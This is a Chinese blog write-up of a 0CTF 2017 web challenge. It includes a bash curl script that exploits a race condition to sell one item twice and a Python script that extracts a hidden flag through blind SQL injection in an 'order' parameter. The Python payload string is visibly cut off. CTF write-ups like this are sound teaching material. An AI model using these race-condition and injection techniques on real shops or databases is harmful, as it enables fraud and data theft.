Writeup for 0CTF2017 web

原创

segOt 于 2017-03-26 18:21:49 发布 1614 收藏

分类专栏： CTF 文章标签： 0CTF Writeup

本文链接：https://blog.csdn.net/segOt/article/details/66477728

Temmos tiny shop

2017年0CTF，WEB部分题目的Writeup。

Temmo’s tiny shop

本题首先要获取!HINT!，但是初始钱包里只有4000，而HINT要价8000，此处使用**条件竞争（race condition）**这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号，使用两个COOKIE来同时进行售卖的动作，则会进行两次售卖动作。bash代码如下

```
#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"

url="http://202.120.7.197/app.php"

curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2" -b $cookie1 &
curl "$url?action=sale&id=2" -b $cookie2
```

得到HINT的提示：

```
OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`
```

接下来便是sql注入，注入点在search功能的order参数上，可以这样构造

```
http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)
```

因为没有回显，对flag进行逐个字符的爆破，遍历ascii码表，通过返回内容中商品的顺序来判断每个字符的值。python代码如下：

```python
#!/usr/bin/python
import requests


url = "http://202.120.7.197/app.php"

param = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{

headers = {"Cookie" : "PHPSESSID=39083e7nft6kbvkjvph29socb0"}
answer=''

for i in range(40):
    for j in range(128):
        if j == 37:
            continue
        content = requests.get(url+param.format(str(i), hex(j)), headers=headers).content
        print param.format(str(i), hex(j))
        print content
        if content.find('"id":"6"') < content.find('"id":"3"'):
            answer += chr(j)
            print chr(j)
            break

print answer
```

可以得到flag

```
FLAG_R4CE_C0NDITI0N_I5_EXCITED_
```

OVER~